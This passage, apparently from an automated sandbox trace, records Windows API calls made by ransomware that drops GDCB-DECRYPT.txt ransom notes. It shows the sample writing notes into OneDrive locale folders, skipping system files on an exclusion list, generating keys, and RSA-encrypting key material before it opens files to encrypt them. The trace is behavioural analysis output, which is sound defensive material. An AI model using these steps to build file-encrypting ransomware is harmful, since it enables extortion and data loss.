and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\si-lk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.019] GetLastError () returned 0x3 [0172.019] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.019] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.019] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.019] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.019] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sk\\\\GDCB-DECRYPT.txt") returned 277 [0172.019] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sk\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\sk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.019] GetLastError () returned 0x3 [0172.019] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.019] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.019] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.019] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.020] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sl\\\\GDCB-DECRYPT.txt") returned 277 [0172.020] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sl\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\sl\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.020] GetLastError () returned 0x3 [0172.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.020] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sq\\\\GDCB-DECRYPT.txt") returned 277 [0172.020] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sq\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\sq\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.020] GetLastError () returned 0x3 [0172.020] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sqmapi.dll") returned 267 [0172.020] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sqmapi.dll") returned 267 [0172.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.020] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sr-cyrl-ba\\\\GDCB-DECRYPT.txt") returned 285 [0172.020] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sr-cyrl-ba\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\sr-cyrl-ba\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.020] GetLastError () returned 0x3 [0172.020] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.021] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.021] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.021] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.021] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sr-cyrl-rs\\\\GDCB-DECRYPT.txt") returned 285 [0172.021] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sr-cyrl-rs\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\sr-cyrl-rs\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.021] GetLastError () returned 0x3 [0172.021] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.021] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.021] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.021] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.021] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sr-latn-rs\\\\GDCB-DECRYPT.txt") returned 285 [0172.021] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sr-latn-rs\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\sr-latn-rs\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.021] GetLastError () returned 0x3 [0172.021] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ssleay32.dll") returned 269 [0172.021] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ssleay32.dll") returned 269 [0172.021] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.021] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.021] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.021] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.021] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sv\\\\GDCB-DECRYPT.txt") returned 277 [0172.021] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sv\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\sv\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.021] GetLastError () returned 0x3 [0172.022] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.022] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.022] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.022] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.022] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sw\\\\GDCB-DECRYPT.txt") returned 277 [0172.022] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sw\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\sw\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.022] GetLastError () returned 0x3 [0172.022] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\SyncEngine.dll") returned 271 [0172.022] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\SyncEngine.dll") returned 271 [0172.022] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.022] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.022] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.022] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.022] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ta\\\\GDCB-DECRYPT.txt") returned 277 [0172.022] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ta\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ta\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.022] GetLastError () returned 0x3 [0172.022] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.022] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.022] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.022] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.022] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\te\\\\GDCB-DECRYPT.txt") returned 277 [0172.023] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\te\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\te\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.023] GetLastError () returned 0x3 [0172.023] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Telemetry.dll") returned 270 [0172.023] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\Telemetry.dll") returned 270 [0172.023] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\TestSharePage.html") returned 275 [0172.023] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\TestSharePage.html") returned 275 [0172.023] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\TestSharePage.html") returned 275 [0172.023] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\TestSharePage.html") returned 275 [0172.023] lstrcmpiW (lpString1="TestSharePage.html", lpString2="desktop.ini") returned 1 [0172.023] lstrcmpiW (lpString1="TestSharePage.html", lpString2="autorun.inf") returned 1 [0172.023] lstrcmpiW (lpString1="TestSharePage.html", lpString2="ntuser.dat") returned 1 [0172.023] lstrcmpiW (lpString1="TestSharePage.html", lpString2="iconcache.db") returned 1 [0172.023] lstrcmpiW (lpString1="TestSharePage.html", lpString2="bootsect.bak") returned 1 [0172.023] lstrcmpiW (lpString1="TestSharePage.html", lpString2="boot.ini") returned 1 [0172.023] lstrcmpiW (lpString1="TestSharePage.html", lpString2="ntuser.dat.log") returned 1 [0172.023] lstrcmpiW (lpString1="TestSharePage.html", lpString2="thumbs.db") returned -1 [0172.023] lstrcmpiW (lpString1="TestSharePage.html", lpString2="GDCB-DECRYPT.txt") returned 1 [0172.023] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\TestSharePage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\testsharepage.html")) returned 0xffffffff [0172.023] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\TestSharePage.html", dwFileAttributes=0xfffffffe) returned 0 [0172.023] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0172.024] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.024] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.024] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.025] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.025] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0172.025] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.026] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.026] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.026] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.026] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.029] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636458) returned 1 [0172.029] CryptGetKeyParam (in: hKey=0x636458, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.029] CryptEncrypt (in: hKey=0x636458, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30d0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x30d0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.029] GetLastError () returned 0x0 [0172.029] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.029] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0172.031] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636498) returned 1 [0172.031] CryptGetKeyParam (in: hKey=0x636498, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.031] CryptEncrypt (in: hKey=0x636498, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x30e0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.032] GetLastError () returned 0x0 [0172.032] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.032] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\TestSharePage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\testsharepage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.032] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.032] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.032] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.032] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 